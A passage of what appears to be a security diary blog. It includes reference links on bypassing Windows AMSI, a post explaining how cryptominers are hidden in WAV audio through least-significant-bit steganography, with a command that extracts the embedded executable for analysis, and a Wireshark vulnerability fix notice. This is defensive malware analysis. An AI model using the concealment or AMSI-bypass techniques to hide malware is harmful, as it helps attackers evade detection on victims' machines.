[7] https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
[8] https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

-----------
Jan Kopriva
@jk0pr
Alef Nula

0 Comments

Published: 2020-02-02

Video: Stego & Cryptominers

A couple of months ago, I read a blog post about malware, cryptominers and WAV file steganography: malware authors are concealing cryptominers in sound files (WAV) using steganography. Each bit of the cryptominer executable is stored as the least-significant bit of each Pulse Code Modulation value (16-bit values in this example).

Here is the start of a WAV file embedding a cryptominer executable via steganography:

The byte values highlighted in red (and following), are signed 16-bit, little-endian values that encode PCM data. The least-significant bit of each 16-bit value encodes a single bit of the cryptominer executable.

When the least-significant bit is changed, the PCM value is only slightly different from the original value, and this change will not be perceptible to the human ear when the sound file is played.

I adapted my format-bytes.py program to be able to extract bit streams from arbitrary data.

In this video, I show step-by-step how to extract the embedded executable (PE file) from the WAV file. The command I use in the video is:

./format-bytes.py -d -f "bitstream=f:<h,b:0,j:<" "#c#['data']+8:" DB043392816146BBE6E9F3FE669459FEA52A82A77A033C86FD5BC2F4569839C9.wav.vir | ./pecheck.py -l P

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-02-01

Wireshark 3.2.1 Released

Wireshark version 3.2.1 was released.

It has a vulnerability fix and bug fixes.

The vulnerability in the WASSP dissector can be abused to cause a crash: %%cve:2020-7044%%

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments